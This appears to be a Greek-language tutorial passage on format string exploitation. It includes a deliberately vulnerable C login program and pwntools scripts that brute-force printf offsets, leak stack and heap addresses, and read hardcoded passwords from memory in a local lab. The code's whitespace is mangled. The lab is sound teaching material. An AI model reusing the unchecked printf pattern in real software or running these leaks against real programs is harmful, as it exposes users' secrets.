from pwn import*p =process('./fs-read')payload =f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
Η απόσταση είναι 11 επειδή η ρύθμιση αρκετών Α και η βίαιη δοκιμή με έναν βρόχο αποστάσεων από 0 έως 50 βρήκε ότι στην απόσταση 11 και με 5 επιπλέον χαρακτήρες (pipes | στην περίπτωσή μας), είναι δυνατόν να ελέγξουμε μια πλήρη διεύθυνση.
Χρησιμοποίησα %11$p με padding μέχρι ώστε η διεύθυνση να είναι όλη 0x4141414141414141
Το payload της μορφής είναι ΠΡΙΝ από τη διεύθυνση επειδή η printf σταματά να διαβάζει σε ένα null byte, οπότε αν στείλουμε τη διεύθυνση και μετά τη μορφή, η printf δεν θα φτάσει ποτέ στη μορφή καθώς θα βρεθεί ένα null byte πριν
Η επιλεγμένη διεύθυνση είναι 0x00400000 επειδή είναι εκεί που ξεκινά το δυαδικό (χωρίς PIE)
Διαβάστε κωδικούς πρόσβασης
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
Συγκεντρώστε το με:
clang-ofs-readfs-read.c-Wno-format-security
Read from stack
Η stack_password θα αποθηκευτεί στη στοίβα επειδή είναι τοπική μεταβλητή, οπότε απλά η κατάχρηση του printf για να δείξει το περιεχόμενο της στοίβας είναι αρκετή. Αυτό είναι ένα exploit για BF τις πρώτες 100 θέσεις για να διαρρεύσουν οι κωδικοί πρόσβασης από τη στοίβα:
from pwn import*for i inrange(100):print(f"Try: {i}")payload =f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
Στην εικόνα είναι δυνατόν να δούμε ότι μπορούμε να διαρρεύσουμε τον κωδικό πρόσβασης από τη στοίβα στην 10η θέση:
Ανάγνωση δεδομένων
Εκτελώντας την ίδια εκμετάλλευση αλλά με %p αντί για %s είναι δυνατόν να διαρρεύσουμε μια διεύθυνση σωρού από τη στοίβα στο %25$p. Επιπλέον, συγκρίνοντας τη διαρρεύσουσα διεύθυνση (0xaaaab7030894) με τη θέση του κωδικού πρόσβασης στη μνήμη σε αυτή τη διαδικασία μπορούμε να αποκτήσουμε τη διαφορά διευθύνσεων:
Τώρα είναι η ώρα να βρούμε πώς να ελέγξουμε 1 διεύθυνση στη στοίβα για να την προσπελάσουμε από τη δεύτερη ευπάθεια μορφής:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload =f"%{i}$p|||".encode()payload +=b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
Και είναι δυνατόν να δούμε ότι στο try 14 με την χρησιμοποιούμενη παράμετρο μπορούμε να ελέγξουμε μια διεύθυνση:
Exploit
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload =f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()